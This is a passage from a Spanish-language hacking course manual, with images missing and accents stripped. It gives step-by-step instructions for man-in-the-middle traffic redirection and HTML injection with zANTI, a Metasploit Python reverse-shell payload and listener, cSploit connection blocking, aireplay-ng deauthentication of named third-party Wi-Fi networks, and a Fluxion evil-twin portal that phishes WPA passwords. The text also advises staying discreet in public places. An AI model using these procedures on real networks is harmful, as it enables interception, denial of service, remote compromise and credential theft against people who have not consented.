Imagen 7.0: Imagen Filtrada.


Mtodo MITM: Hay dos mtodos disponibles: ARP (Address Resolution Protocol) e ICMP
(Internet Control Message Protocol). Aqu es donde se seleccionar el tipo o tcnica de
ataque Man in the Middle que se podr realizar, el que se usa por defecto es el de tipo ARP,
en donde trabajar con el protocolo de resolucion de direcciones para hacer de esto la base
del ataque.
Cul es la diferencia entre cada tcnica?
El ataque de tipo ARP hace spoofing a la direccin MAC dentro de la red local. Es decir, la
mquina del atacante acta como el dispositivo de destino y router al mismo tiempo
(cliente/servidor).
El ataque de tipo ICMP funciona mediante la suplantacin de un mensaje de redireccin ICMP
al router. El mensaje falsificado reencamina el trfico de la vctima a travs de un router
controlado por el atacante.

Imagen 7.1: Tipos de ataque MITM.

Redireccin de trafico HTTP: Le permite re direccionar todo el trfico HTTP a un sitio


determinado o a un servidor. Si se pone en uso esta funcin, re direccionar todo el trfico
HTTP al URL que se especifique, en este caso se cambi el que bien por defecto (configuracin
predeterminada) por el de https://www.hackingmexico.one

Pero si desea reenviar todo el trfico a un sitio en particular, solo basta con pulsar en el icono
de configuracin, en donde habr un rea para introducir una URL, ingresa una URL en el
campo y a continuacin, vuelva a tocar en el icono de configuracin para salirte del input. Una
vez hechas las configuraciones correspondientes. Pondremos el ataque en funcionamiento
presionando el botn de encendido. Lo que suceder con esto es que mediante MITM de tipo
ARP haremos que el trfico de los sitios con protocolo HTTP se redireccin haca el sitio que
queramos. Consulta las imgenes.
Imagen 7.2 y 7.3: Re direccionamiento de Trfico.

Si prestamos atencin a la barra de notificaciones en el movil, podemos ver que zANTI muestra
un recuadro cada que tengamos un ataque MITM en accin, no pimporta el tipo, desde aqu
podemos combiar la configuracion inical del ataque o detenerlo.

Imagen 7.4: Notificacin de ataque MITM.

Remplazo de imgenes: Una cosa ms que se puede realizar durante un ataque MITM
mediante zANTI (y de otros modos tambin) es el remplazo de las imgenes en el sitio web
con protocolo HTTP que visite la victima involucrada en el ataque, estas pueden ser
remplazadas con cualquier imagen en todos los formatos (en ocasiones .GIF).
En las acciones de ataque MITM de zANTI se halla esta opcin, solo basta con seleccionar el
host vctima y posteriormente la imagen que deseemos, en este caso se usar la que viene
precargada, habilitamos la opcin e iniciamos el ataque:

Imagen 7.5, 7.6 y 7.7: Activacin de modalidad de ataque y resultados.

Podemos notar que nuestra accin de ataque funciona, en 2 pginas distintas, as como
tambin podemos ver que el ataque se realiza hacia una PC y un movil, en este caso un
iPhone, solo basta con escoger el nuevo host en zANTI e iniciar el debido ataque hacia este.

Insercin de codigo HTML: Otra caracteristica que trae consigo zANTI, es que dentro de las
funcionalidades de ataques MITM podemos insertar codigo HTML en ciertas paginas a las
que la victima o host objetivo visite. Dentro del men de configuracion para ataques MITM,
nos encontraremos con esta funcin, desde la cual escribiremos el codigo HTML que
buscamos ejecutar en el navegador ajeno de la victima del atque Man in the Middle, esta
funcion ya trae un pequeo cdigo HTML que nos mostrar un mensaje acerca de zANTI.
Para editarlo solo basta con pulsar el botn del engrane y hacer los cambios que vayamos a
necesitar, para terminar se tiene que activar la funcion con el botn de encendido para
posteriormete iniciar el ataque. Lo que se obtendr ser un Message Dialog en el navegador
del equipo victima que visite una pagina con protocolo HTTP en este ejemplo fue p0isoned
by: HackingMexico, puedes ingresar el codigo HTML de tu eleccin. Consulta las imgenes.
Imagen 7.8, 7.9 y 8.0: Inyeccin de cdigo HTML.

NetHunter y Metasploit Framework.

Como ya se sabe, Metasploit es una herramienta bastante famosa que permite llevar a cabo
diferentes tareas de pentesting, desde la recoleccin de informacin de un host, hasta acciones
de explotacin y post-explotacin. Como es de esperarse, NetHunter trae consigo a esta
herramienta, cabe mencionar que no en su totalidad, es decir, la versin de Metasploit en
NetHunter no cuenta con todas las caractersticas que traera una distro para pentesting como
lo es Kali, Parrot OS o BackBox, por lo que algunas tareas de pentesting como esta
demostracin se vern limitadas debido a esto en NetHunter.

Dentro del men principal de NetHunter, nos encontramos con el Generador de Payloads de
Metasploit, que es una herramienta que automatiza la creacin de payloads en distintos
lenguajes para que funcionen en diferentes plataformas. En el siguiente ejemplo se demostrar
el uso de esta funcin para lograr la obtencin de shells interactivas sobre el equipo vctima.
Para poder realizar esto se requieren ciertos parmetros de configuracin, como lo es el tipo
de payload, puerto y direccin IP en donde se crear el canal de comunicacin
cliente/servidor, y por ltimo las opciones del mdulo, como lo son el tipo de payload y el
protocolo de comunicacin.
Imagen 8.1: Configuracin de Payload de Python.

Teniendo todo listo, se hace una ltima revisin de la configuracin y se genera el payload, al hacer
esto se abrir una nueva terminal en donde se mostrar el proceso de compilacin de este, en
donde se mostrarn los parmetros de configuracin que se establecieron, as como el lugar donde
reside el payload:

Imagen 8.2: Proceso de compilacin en terminal de NetHunter.

Terminada la compilacin de del payload, vemos que el contenido se guard en el directorio


/sdcard/ dentro de /root/, en donde tendremos tambin un archivo de extensin .rc con el
mismo nombre del payload, este ser un archivo que trabajar de forma sncrona con el
payload en formato .py. Este archivo .rc ser el que configuremos en Metasploit, el cual
trabajar con un Handler, juntos estarn a la escucha de conexiones y ejecuciones de exploits
fuera del framework, en este caso nuestro payload que se ejecutar en la maquina vctima.
Como es de saberse, es recomendable iniciar el servicio de PostgreSQL, que es la base de
datos con la que trabaja Metasploit, esto se consigue ejecutando el comando service
postgresql start, es recomendable hacer esto en una terminal nueva.

Luego de eso, el payload tendr que mandarse a llamar desde Metasploit y configurarlo para
que trabaje con un Listener de conexiones en la red y pueda arrojarnos la shell de
Meterpreter al momento de su ejecucin. Para esto ejecutremos el siguiente comando desde
dentro del directorio donde reside el payload: msfconsole q r python-meterpreter-
staged-reverse-tcp-666.py

En donde:

msfconsole: Hace el llamado a la consola de Metasploit


-q y r: El primero hace uso del modo quiet o callado, sin que se tenga que mostrar
el banner de inicio, y el otro indica el uso de un resource file, aqu es donde
especificamos el script o payload generado.

Al hacer esto, se iniciar la consola de Metasploit y establecer de forma automtica la


configuracin del payload para que trabaje en conjunto con el Listener de exploits y
conexiones:
Imagen 8.3, 8.4 y 8.5: Configuracin de Handler de conexiones y payload en
Metasploit

Hecho esto, solo se hace llegar el payload a la maquina vctima que est en el mismo segmento
de red que nosotros, en este caso se hizo la prueba con un Windows 10, en donde solo se
tendr que ejecutar el script de Python.

Una vez conseguido esto, inmediatamente se formar el canal de comunicacin entre


Cliente/servidor (Atacante/Victima) para poder interactuar con l desde Metasploit, en
donde se muestran detalles como lo son el tipo de payload, direccin IP, puerto e
identificador:

Imagen 8.8: Obtencin de Shell de Meterpreter en equipo Ajeno.


Ataques a redes Inalmbricas.
En muchos lugares ha habido un incremento de la dependencia de redes inalmbricas, con el
fin de los usuarios mantengan la conectividad de una forma ms verstil. Las redes
inalmbricas pueden resultar bastante vulnerables si no se establecen los protocolos y
medidas de seguridad adecuadas, estos resultados pueden llevar desde degradar el servicio
hasta el robo de informacin sensible.

Como ya se sabe, Kali Linux y dems distribuciones de seguridad informtica pueden ser
utilizadas para hacer testing hacia redes inalmbricas, lo mismo se puede conseguir con Kali
NetHunter, ya que este contiene herramientas para poder llevar a cabo este tipo de tareas con
una mejor movilidad y de una forma ms discreta.

Habr ocasiones en las que parte del trabajo de Pentesting, se tendr que recorrer un rea en
especfico en bsqueda de redes inalmbricas para hacerles Stress testing (DoS), crackeo
de passwords y dems ataques.

Aqu es cuando una vez ms aparece NetHunter, para poder usarlo en estos escenarios va a
ser necesaria un adaptador Wi-Fi inalmbrico y un cable tipo OTG para poder conectarlo a
nuestro mvil.

NOTA: No todas las antenas Wi-Fi externas se prestan para hacer este tipo de pruebas,
por lo tanto no son compatibles con las distros para pentesting incluida Kali/Kali
NetHunter, puesto a que no permiten la inyeccin de paquetes y no pueden hacer uso de
Modo Monitor, en la siguiente lista podrs encontrar las mejor antenas Wi-Fi externas para
ataques a redes inalmbricas:

Alfa AWUS036NHA
Alfa AWUS036NEH
TP-Link TL-WN722N
Denegacin de servicios (DoS) dentro y fuera de la red.
Teniendo como ventaja a nuestro Dispositivo con NetHunter, ser mejor hacer de esta forma
el trabajo para mantener una discrecin mayor en el lugar donde te encuentres, ya sea tu
oficina, escuela, la recepcin de un hotel o tu restaurante preferido, en vez de usar una laptop
y asi evitar la atencin que no estemos buscando.

Como se ha visto hasta ahora, se pueden llevar a cabo mltiples acciones de ataque desde
nuestro dispositivo Nexus, que es el que cuenta con distintas herramientas para hacer estos
ataques mediante vectores deferentes, aqu es donde entra otra herramienta, cSploit.
Disponible para la plataforma android, cSploit es un avanzado kit de herramientas bastante
completo que se usa para realizar ataques en distintas formas ofrecindonos algo que es
demasiado til al momento de llevar a cabo distintos ataques portabilidad.

Gracias a cSploit podemos hacer una amplia variedad de ataques con mayor flexibilidad,
desde la recoleccin de informacin acerca de un Host en la red, hasta hacer denegacin de
servicios y la obtencin de sesiones interactivas sobre el host objetivo, los usos principales
de cSploit son:

Enumeracin de Hosts.

Ataques Man in the Middle.

Bloqueo de conexiones

Encontrar vulnerabilidades.

Realizar la bsqueda de exploits para explotar las vulnerabilidades encontradas.

Colocacin de Backdoors para acceso persistente.


Qu necesitars para usar cSploit?
Una red Wi-Fi a la que conectarse.
Un objetivo que atacar.

La herramienta ya viene precargada junto con NetHunter, por lo que no ser necesario
instalarla por nuestra cuenta. Si se desea instalar en un movil que no contenga Kali NetHunter
va a ser necesario lo siguiente:

Que el dispositivo Android cuente con una version 2.3 o superior con ROOT.
Se requerir la instalacin de SUPERSU, de lo contrario no funcionar.
El dispositivo Android deber contar con la instalacin de BusyBox, con todas las
utilidades cargadas/instaladas para que funcionen junto con cSploit.

Imagen 8.9: cSploit en Android.

La suite de cSploit se pude descargar desde el siguiente link, en donde puedes encontrar
documentacin relacionada: https://github.com/cSploit/android/
1. DoS desde cSploit.

En las demostraciones anteriores de ataques Man in the Middle, pudimos llevar a cabo distintas
funciones de ataque como lo es el filtrar y manipular trfico, hacer sniffing, etc. Sin embargo
algo que se puede conseguir despus de haber hecho esta irrupcin en el canal de
comunicacin que nos permite actuar como MITM, lejos de hacer sniffing y monitoreo, se
puede hacer ataques de denegacin de servicio o conseguir inhabilitar cierta comunicacin.

Con cSploit podemos conseguir eso, gracias a su extensa variedad de funciones y acciones
de ataque es posible realizar el bloqueo de conexiones que realiza un host o equipo en la red
que nos encontremos. En el siguiente ejemplo se demostrar la eficacia para realizar el
bloqueo de la comunicacin va web en un host.

Teniendo instalado cSploit en nuestro movil y estando conectados a la red inalmbrica donde
se encuentra el host vctima, abrimos la suite y veremos que enumerar los host funcionales
(activos) en la red. En donde tambin nos muestra el Router al que estamos conectados y la
mscara de subred, as como los detalles de cada posible objetivo que est enlistado, en este
caso seleccionaremos el que dice USER.

Imagen 9.0: Escaneo de la red por cSploit.


Algo que notaremos en la barra de notificaciones del movil, es que al momento de que abrimos
cSploit, comenzar una conexin con el servicio del demonio de Metasploit, esto se debe
a que la Suite trabaja en conjunto con el Framework de Metasploit que ya viene precargado
en el dispositivo, al terminar este proceso aparecer una notificacin indicando la conexin
exitosa de cSploit con el Framework:

Imagen 9.1 y 9.2: Status de Metasploit y panel de control de cSploit.

Metasploit cuenta con una til caracterstica llamada MSFRPCD. Esta proporciona acceso a
una instancia del Framework a travs de una conexin RPC (Remote Procedure Call)
cSploit inicia esta llamada y conecta a l. As cSploit podr realizar la explotacin de un cierto
Host y conseguir sesiones de control sobre el/los objetivos comprometidos.
Una vez que un host de destino ha sido comprometido, puede tomar el control con una shell,
dando por hecho que el objetivo es tuyo. Ms adelante tocaremos ese tema.
Asi como otras herramientas, cSploit tiene opciones de configuracin inicial antes de ponerse
en accin, como se ve en las imgenes, podemos buscar redes Wi-Fi, crear, guardar o
restaurar sesiones de trabajo, iniciar/detener el monitoreo de la red . Al igual que como lo vimos
con zANTI, es el mismo equipo que cuenta con 7 puertos abiertos, lo seleccionamos. Dentro
de este nuevo men se enlistan todas las acciones de ataque y funciones que se pueden llevar
a cabo hacia este host, seleccionaremos la categora de Man in the Middle.
Una vez dentro de esta categora, se mostrar un nuevo panel que cuenta con las acciones
de ataque mediante MITM, desde aqu se pueden realizar diferentes tareas, como lo es el
sniffing y el re direccionamiento del trfico no cifrado, DNS Spoofing, remplaz de
imgenes, Secuestro de sesiones no seguras, etc.

Aqu es donde seleccionaremos la opcin Bloqueador de conexiones, lo que haremos con


esto ser impedir que se establezca todo tipo de conexin con cualquier URL o sitio
web, denegando el acceso a Internet desde nuestro movil, al poner el ataque en funcin,
aparecer una animacin repetitiva en la opcin seleccionada, si se quiere detener el ataque,
solo se presiona de nuevo.

Imagen 9.3: Inicio y detencin de Bloqueador de Conexiones.

El resultado ser el tal cual antes descrito, impidiendo la navegacion en el host objetivo, las
pruebas se realizaron visitando a Facebook, Gmail y Twitter, desde el Navegador Comodo
IceDragon versin 49.0.0
Imagen 9.4: Acceso a internet impedido en host vctima.

Lo mismo funciona para los mviles, solo se selecciona el Host correspondiente en el listado
de objetivos detectados por cSploit.

La siguiente prueba se realiz haca un iPhone con iOS 10.1.1, entrando a Google desde
Safari, adems de que tambin deniega las conexiones que se intentan establecer desde
Apps, como lo es Facebook.

Consulta las imgenes.

Imagen 9.5 y 9.6: Fallo de conexin en aplicaciones mviles.

NOTA: Esta simple modalidad de ataque puede ser bastante util/perjudicial, ya que
puedes hacer un flooding en el Router dejando sin Internet a la red completa.
2. Denegacin de Servicios a un Access Point mediante NetHunter
Previamente se hicieron pruebas de denegacin de servicios (DoS) mediante cSploit en donde
conseguimos dejar inhbil la conexin a internet por parte de un usuario dentro del mismo
segmento de red que nosotros.
Yendo algo ms lejos, se puede conseguir lo mismo con una red inalmbrica o AP objetivo,
estableciendo el modo monitor en un adaptador inalmbrico dejando fuera por unos segundos
o ms tiempo a un solo cliente o a todos si as lo queremos, desde Kali y dems distros se
puede hacer una extensa variedad de ataques de este tipo, y por supuesto tambin desde tu
movil con NetHunter.
Qu necesitars?

Cable OTG
Tu dispositivo con NetHunter
Tarjeta o adaptador red inalmbrico (Para esta demostracin recomiendo una TP-Link
TL-WN722N)

Teniendo todo listo, conectaremos nuestra antena al movil mediante el cable OTG y abrimos
una nueva terminal de Kali.
Estando dentro lo primero que haremos ser habilitar nuestra nueva interface de red, que
ser wlan1 iniciando el servicio de redes, ejecutaremos el primer comando que es: service
networking start:

Imagen 9.7: Inicio de servicio de Networking en NetHunter.

Hecho esto notaremos un patrn de encendido en nuestra tarjeta.

Esto nos indica que ya est en funcin esta interface de red y puede ser usada. Sabiendo
esto podremos ponerla en funcin de modo monitor, una forma de hacer esto es con el
comando airmon-ng start wlan1
Donde:

airmon-ng start: Indica el uso de esta funcin por parte de Aircrack-ng


wlan1: Es la interface que vamos a usar, que al igual que en muchos casos, wlan1 es la
ms comn.

Qu es Airmon-ng?

Siendo una dependencia de Aircrack-ng, este script se utiliza para habilitar el modo monitor en
las interfaces inalmbricas, en este caso hablamos de nuestra antena externa. Al conseguir
esto, el sistema ahora nos proporcionar una interface identificadora para usar en modo
monitor, en este caso ser wlan1mon.

Imagen 9.9: Modo monitor activado.

Seguido de esto haremos uso de Airodump-ng para poder encontrar Routers inalmbricos o
Access Points en el rea.

Este es fue hecho con la finalidad de capturar paquetes de redes inalmbricas con estndar
802.11, permitindonos asi encontrar redes inalmbricas en el lugar, para hacer esto desde
nuestro movil con NetHunter ejecutremos el comando airdoump-ng wlan1mon, para asi
ver los AP que puede encontrar nuestro adaptador externo.

Imagen 10.0: Identificacin de redes con Airodump-ng.

Una vez que hayas encontrado la red objetivo, detienes el ataque con Ctrl + C y abrirs otra
terminal en el dispositivo, en esta nueva se har uso de Aireplay-ng.

Esta es una herramienta de inyeccin de paquetes, lo que quiere decir que puede realizar una
variedad de ataques hacia redes inalmbricas, en este ejemplo se realizar el ataque hacia las
redes INFINITUMyjf4 y ARRIS-7992. En la nueva terminal se ejecutar el siguiente comando:
aireplay-ng -0 15 -a (aqu va el BSSID) -e (Aqu va el ESSID) wlan1mon.

Donde:

aireplay-ng -0 15: Hace uso de la herramienta, estableciendo el tiempo que se quiere


dejar funcionando el proceso de des autenticacin.
-a: Direccin MAC de AP.
-e: ESSID o nombre del AP.
wlan1mon: Es la interface que est en modo monitor.

Imagen 10.1: Hosts Expulsados de la red Ajena.

Qu fue lo que sucedi? Mediante Aireplay-ng, hemos enviado frames de des autenticacin
hacia el AP y a los clientes de este, como resultado expulsamos a todos los clientes que se
encontraban en la red por los 15 segundos que establecimos, aunque puedes aumentar la
duracin del ataque por un tiempo mayor, sin embargo, el/los clientes podrn conectarse de
inmediato en cuanto paremos el ataque.

NOTA: Habr ocasiones en las que la red objetivo estar operando en un canal distinto al de
nosotros, por lo que habr que asignar dicho canal a la interface de red funcional.

Imagen 10.2: Seleccin de canal.


Una forma en la que
nos podemos percatar de esto es al momento de hacer el ataque DoS a dicha red, al hacerlo
mediante Aireplay-ng, este nos indicar que el BSSID especificado no est operando en el
mismo canal que nuestro dispositivo, por lo que se le tendr que asignar un nuevo canal a
este.
Una manera de hacerlo es con el comando iwconfig, quedando asi: iwconfig wlan1mon0
channel 4

Donde:

iwconfig wlan1mon0: Se indica la interface que tenemos en modo monitor.


channel 4: El canal en el que opera el AP ajeno.

Hecho esto, se lanza de nuevo el ataque:

Imagen 10.3: Des autenticacin de Hosts en red ajena.


3. Obtencin de Contraseas WEP/WPA/WPA2.

WPA y WPA2 son dos algoritmos de seguridad diferentes que se utilizan para proteger las
redes inalmbricas. WPA utiliza TKIP, mientras que WPA2 utiliza tanto (TKIP y AES). Hoy en
da, los routers inalmbricos y Access Points usan un mtodo rpido y sin problemas de
conexin a una red segura. El WPS es una caracterstica que permite una fcil configuracin
de redes seguras; sin embargo, este puede ser fcilmente crackeado u obtenido con las
herramientas adecuadas que tengamos en nuestra distro para pentesting.
Para esto WPA fue diseado para reemplazar a WEP porque con el paso del tiempo se
descubri que los errores de seguridad hacen que sea fcil de obtener acceso no autorizado
en cuestin de minutos. A pesar de que WPA y WPA2 son mucho ms difciles de crackear
o descifrar, es posible para romper la proteccin WPA y hasta el ltimo algoritmo de cifrado
(WPA2).
En la siguiente demostracin el uso de la fuerza bruta no ser el vector de ataque como suele
serlo con muchas herramientas, ahora ser el uso de un AP falso (Fake Honeypot) para la
obtencin del password del AP legtimo, asi no tendremos que esperar horas para encontrar
este password de acceso a la red, solo bastar con la obtencin de un handshake para
conseguir nuestro propsito, aqu es cuando aparece Fluxion.

Qu es y qu hace?

Fluxion es una herramienta que permite el crackeo u obtencin de passwords de redes


inalmbricas mediante un ataque MITM un poco ms completo y complejo de los que has visto
hasta ahora, algo que quizs notes es que Fluxion es un remake de linset (otra herramienta
para crackeo de redes), con la diferencia de que Fluxion es ms estable y trae consigo nuevas
y mejores caractersticas, Fluxion hace el trabajo ms rpido y limpio que muchas otras
herramientas, y por eso haremos uso de el en la siguiente demostracin.
Qu necesitars para este ataque?

Un adaptador de red inalmbrico que sea capaz de realizar la inyeccin de paquetes, en


esta demostracin se usar la antena TP-LINK TL-WN722N.

Para hacer uso de Fluxion desde NetHunter, debemos iniciarlo desde su directorio raz, este
se encuentra en /root/fluxion/, y desde ah instalarlo inicializarlo mediante el comando.

NOTA: Fluxion ya viene instalado en el dispositivo Nexus 6 proporcionado para el curso, si


deseas realizar la instalacin en tu movil con NetHunter sigue los siguientes pasos.
1. MUY IMPORTANTE: Tu distro de NetHunter debe estar actualizada, ya que Fluxin
utiliza varias dependencias que no se hallan en la distro de NetHunter, no basta con
tener la ltima versin de esta, si no tener todos los metapackages actualizados, por
esto es importante tener los repositorios de Kali actualizados. Estos se hallan en el
archivo sources.list dentro del directorio /etc/apt/, hoy en da se usan los siguientes
repositorios, por lo que el siguiente contenido se debe hallar en el archivo, vindose as:

deb http://http.kali.org/kali kali-rolling main contrib non-free


# For source package access, uncomment the following line
# deb-src http://http.kali.org/kali kali-rolling main contrib non-free

Imagen 10.4: REPOSITORIOS DE KALI.

2. Teniendo los repositorios correctos, es momento de poner al da el contenido de


NetHunter, esto se hace mediante el comando apt-get update, al ejecutarlo se
descargar e instalar el contenido necesario para que NetHunter se actualice.

Si al ejecutarlo aparecen errores sobre los enlaces de consulta y descarga, podemos


ejecutar el comando apt-get update --fix-missing para darle solucin. Si los
problemas persisten, lo ms recomendable es desinstalar CHROOT e instalarlo de
nuevo, este se encuentra en el men de NetHunter, esto casi siempre arregla este tipo
de problemas, la nueva descarga e instalacin de CHROOT tomar alrededor de 20 min,
al finalizarla, ser necesario reiniciar el telfono.

Imagen 10.5: Remocin de CHROOT.


3. Al reiniciarse ejecutamos de nuevo el comando apt-get update, para que se lleve a
cabo esta actualizacin, esta tomar de 15 a 20 min, dependiendo la velocidad de
internet en lugar, durante la actualizacin se pedir la autorizacin de ciertas
instalaciones, la otorgaremos, al finalizar esta actualizacin, desde el nuevo CHROOT,
desde la opcin ADD METAPACKAGES instalaremos un par de grupos de
metapackages.
Estos sern los de kali-linux-nethunter y kali-linux-wireless, el primero contendr
cosas adicionales para la distro, y el segundo contendr las herramientas y
dependencias para que trabajen en conjunto con Fluxion, teniendo seleccionados estos
2 solamente, hacemos clic en Install & update, esta otra instalacin tomar de 10 a
15 min, al finalizarla tendremos lo necesario para poder instalar y usar Fluxion en
NetHunter:

Imagen 10.6: Meta-paquetes a instalar

4. Descargaremos al movil la herramienta, solo basta con escribir el comando y pegar el


siguiente enlace seguido Ahora sigue la descarga de Fluxion, para esto abriremos una
nueva terminal y mediante el siguiente comando:
git clone https://github.com/deltaxflux/fluxion.git, lo que har esto ser crear un
directorio en /root/ con el nombre de Fluxion, donde estar la descarga que
acabamos de hacer.
Teniendo todo listo, ser necesario hacer uso del VNC Manager o VNC Server de
NetHunter, ya que Fluxion necesita un entorno grfico en donde ejecutarse, esto se debe
a que hace uso de xterms, y estas no funcionan en la terminal convencional que hemos
utilizado hasta ahora. Por eso utilizaremos un bsico entorno grfico de Kali con el que
cuenta NetHunter.
Este necesita ser configurado antes de usarse, para esto navegamos al men de
NetHunter y seleccionamos VNC Manager, lo primero que se tienen que hacer es
establecer un server, esto es con el botn Start Server, en donde se abrir una terminal
nueva y solo se tendr que configurar un password para este server, el password queda
a criterio tuyo:
Imagen 10.7: Botn de inicio de servidor VNC.

Al terminar eso, la terminal se cerrar en 5 segundos, esto es parte del proceso de


configuracin, despus de eso volvemos a la ventana del VNC e ingresamos el password
que establecimos en la terminal, dejamos lo dems como est y hacemos clic en Open
Connection:

Imagen 10.8, 10.9 y 11.0: Configuracin e inicio de servidor VNC,

5. Luciendo as el entorno grfico de Kali, abriremos una terminal en este, esta se puede
ubicar en la parte inferior de la pantalla en este nuevo panel:

Imagen 11.1: Terminal en VNC Server.


6. Para hacer zoom y poder usar el teclado se usan estos 3 botones:

Imagen 11.2: Botones de Zoom y Teclado.

7. Puesto que podemos llevar a cabo las mismas acciones por lnea de comandos tanto en
este entorno grfico como en el comn, podemos acceder a los mismos directorios,
dentro de la terminal navegamos hacia el directorio /root/fluxion/, en donde reside la
herramienta. Dentro ejecutamos el comando bash Installer.sh, este inciar la
instalacin de Fluxion en NetHunter, solo basta con esperar a que termine.
8. Al finalizar, conectaremos nuestra antena inalmbrica al movil mediante el cable OTG,
hecho eso entramos al directorio de nuevo y ejecutamos Fluxion de esta forma
./fluxion, al hacerlo, har el Checking de las dependencias necesarias para su uso, y
ya podremos usarlo:

Imagen 11.3: Directorio de Fluxion en Kali NetHunter por VNC server.

Ahora que hemos finalizado la instalacin, aparecer un cuadro de dialogo en donde


especifican que no se har mal uso de Fluxion ni tampoco el realizar ataques hacia redes
ajenas, tendremos que aceptar este mensaje para poder continuar, as que le presionamos
Ok.

Al aceptar nos aparecer un men en el que seleccionaremos el lenguaje de nuestra


preferencia, luego de ello aparecer otro men en donde tendremos que escoger la interface
de red que se usar (nuestro adaptador inalmbrico), lo seleccionamos usando la opcin 2,
en este caso se trata de wlan1:

Imagen 11.4: Seleccin de interface de red en Fluxion.


Seguido de esto tendremos que especificar si se quiere buscar redes en un canal en
especfico o en todos, es recomendable hacer siempre la bsqueda en todos los canales,
por lo que seleccionaremos la primera opcin, al hacerlo aparecer una nueva ventana xterm
nombrada WIFI o WIFI Monitor en donde nuestra antena enviar tramas de sondeo para
hallar Access Points:

Imagen 11.5 y 11.6: Seleccin de canales e identificacin de redes.

En esta nueva ventana se mostrarn los AP hallados en el rea por la antena, mostrando en
columnas su BSSID, Intensidad de seal, Beacons, Canal, Tipo de Proteccin, y nombre
de cada uno. Este proceso de Search & Find no se detendr hasta que se cierre la ventana,
por eso la cerraremos despus de identificar la red objetivo para poder continuar en Fluxion.
Volviendo a l veremos estos mismos datos de nuevo, con la diferencia de que aqu se
muestran los AP o redes que muestran actividad (con clientes conectados),
diferencindose con un asterisco al final de estas, aqu seleccionaremos la red vctima:

Imagen 11.7: Seleccin de red objetivo.


Teniendo escogida la red, aparecer otro men en donde seleccionaremos el vector de ataque
a usar, adems de mostrar los detalles que previamente vimos acerca de la red, en este caso
usaremos a opcin nombrada Fake AP Hostapd.

Luego de esto tendremos que especificar en donde se va a guardar el file con extensin .cap
que contendr el o los Handshakes que se obtengan durante el ataque para usarlos en un
futuro si asi se decide, en este caso dejaremos vaco este campo, puesto que an no tenemos
estos Handshakes:

Imagen 11.8 y 11.9: Seleccin de opcin de ataque y directorio predeterminado.

Luego de lo anterior, se tendr que seleccionar un mtodo de revisin o Checking de los


Handshakes que se vayan obteniendo, aqu seleccionaremos a Pyrit ya que realiza el
trabajo ms rpido que otros debido a su cdigo, en donde nos permite obtener ciertas fases
de autenticacin en un tiempo ms corto, luego de esto se tendr que seleccionar el mtodo
o herramienta para la des autenticacin de clientes, aqu seleccionaremos a mdk3, que
previamente usamos y entendimos como funciona, aqu en Fluxion su accin esta
automatizada:
Imagen 12.0 y 12.1: Seleccin de opcin y mtodo de obtencin de Handshake.

Al seleccionar esto, comenzar el ataque de expulsin de clientes en la red objetivo, esto con
el fin de que se conecten de nuevo ya sea de forma automtica o voluntaria y as obtener el
Handshake, notars que de las ventanas abiertas habr una donde se muestra el monitoreo
y captura de Handshakes y otra donde se lleva a cabo el ataque deauth, esto con el fin de
darle continuidad a la obtencin de Handshakes:

Imagen 12.2: Handshake obtenido y ataque DoS por mdk3.

Una vez conseguido el Handshake volvemos al panel de Fluxion y seleccionamos la accin


de Chequear Handshake para hacer la validacin de este. Es posible que estos salgan
Corruptos (inservibles) al momento del Checking, lo recomendable es esperar a obtener
ms o comenzar el ataque de nuevo desde el comienzo. Si el Handshake obtenido es vlido,
se mostrar un men nuevo en donde escogeremos si queremos crear un certificado SSL o
usar uno existente, crearemos uno seleccionando la primera opcin. Esto se hace con la
finalidad de personificar un portal falso y asi se le proporcione mayor fidelidad a nuestra accin
de ataque, mostrando asi un Fake Login al momento de conectarse al AP falso.
Imagen 12.3 y 12.4: Chequeo de Handshake y creacin de certificado SSL..

Al terminar de crearse el certificado SSL, tendremos que seleccionar el mtodo de obtencin


del password de la red, como es de saberse, vamos a crear un AP Falso, por lo que tendremos
que usar un vector de ataque mediante ingeniera social, por lo que escogeremos la opcin de
Web Interface que ser lo que nos permitir hacer uso del portal falso.

Al seleccionarla, aparecer un listado con mltiples interfaces web en diferentes idiomas,


seleccionaremos el de nuestra preferencia, para este ejemplo se us la opcin 5:

Imagen 12.5 y 12.6: Seleccin de mtodo de captura de password y pgina de Loggeo.

Al seleccionar la interfaz web, se ocultar la red vctima y se crear un Access Point Falso con
el nombre de la red objetivo, seguido de esto comenzarn varios procesos, entre ellos un FAKE
DNS, en donde todo el trfico que est fluyendo por el AP falso ser redirigido a nuestro movil
mostrndolo en la terminal donde corre este proceso.
Tambin tenemos un Filtro DHCP, este va a capturar todas las solicitudes o requests que
provengan por parte del dispositivo o dispositivos conectados al Access Point, as como
tambin tenemos una terminal en donde se muestra informacin a detalle a cerca del AP Falso
que creamos, y los clientes (dispositivos) que estn conectados a l, en este caso se ha
conectado intencionalmente un dispositivo iOS al Fake AP, por lo que las ventanas o
terminales muestran informacin relevante a ello:
Imgenes 12.7, 12.8, 12.9 y 13.0: Paneles de trabajo de Fluxion.

De lado del movil del cliente (sea un dispositivo Android o iOS) al mostrar las redes
inalmbricas disponibles notaremos que ha desaparecido el identificador de red segura para
la red legtima y se mostrar como abierta, este es nuestro Access Point Falso, al
seleccionarlo se abrir un panel que contendr el Fake Login.

En este portal falso en donde se ingresar la contrasea del AP legtimo. Al crearse este Fake
AP, se mostrar como una red abierta, por lo que al conectarse a ella aparece el Banner de
Recomendacin de Seguridad (en Android no es as)

Imagen 13.1 y 13.2: Acceso Point Falso en IOS Y Android.

Una vez que el cliente/los clientes vctima intenten conectarse a la red, se les mostrar el Fake
Login que est trabajando en conjunto con el certificado SSL antes creado, dentro de este
sitio falso o Scam se les pedir el password para poder hacer uso de la red Wi-Fi.

Una vez proporcionado el password de la red, se mostrar un nuevo recuadro de espera,


mientras tanto en el movil, mediante la conexin al AP Legtimo Fluxion har un rpido
Checking del password para verificar si este es correcto, si lo es, detendr el ataque de
inmediato y revivir el AP legtimo para que la vctima o el cliente se conecten en ese mismo
momento, de lo contrario, si no es el password correcto se seguir pidiendo:
Imagen 13.3 y 13.4: Envo de password mediante portal falso.

Al ingresarse el password correcto y terminado el proceso anterior, en Kali veremos que ha


aparecido una nueva ventana nombrada Wifi Information en donde aparece la clave
WPA/WPA2 de la red legtima:

Imagen 13.5: Password visualizado despus del envo en el portal falso.

As como tambin el directorio del archivo de salida o output donde se guardan el o los
passwords de la redes crackeadas, el cual es /root/NombreDeLaRed -password.txt:

Imagen 13.6: Password guardados de redes Hackeadas.

Habiendo terminado todo, podemos detener y cerrar Fluxion, este al cerrarse, establece la
configuracin previa antes de ser usado o ponerse en marcha, devolviendo los valores
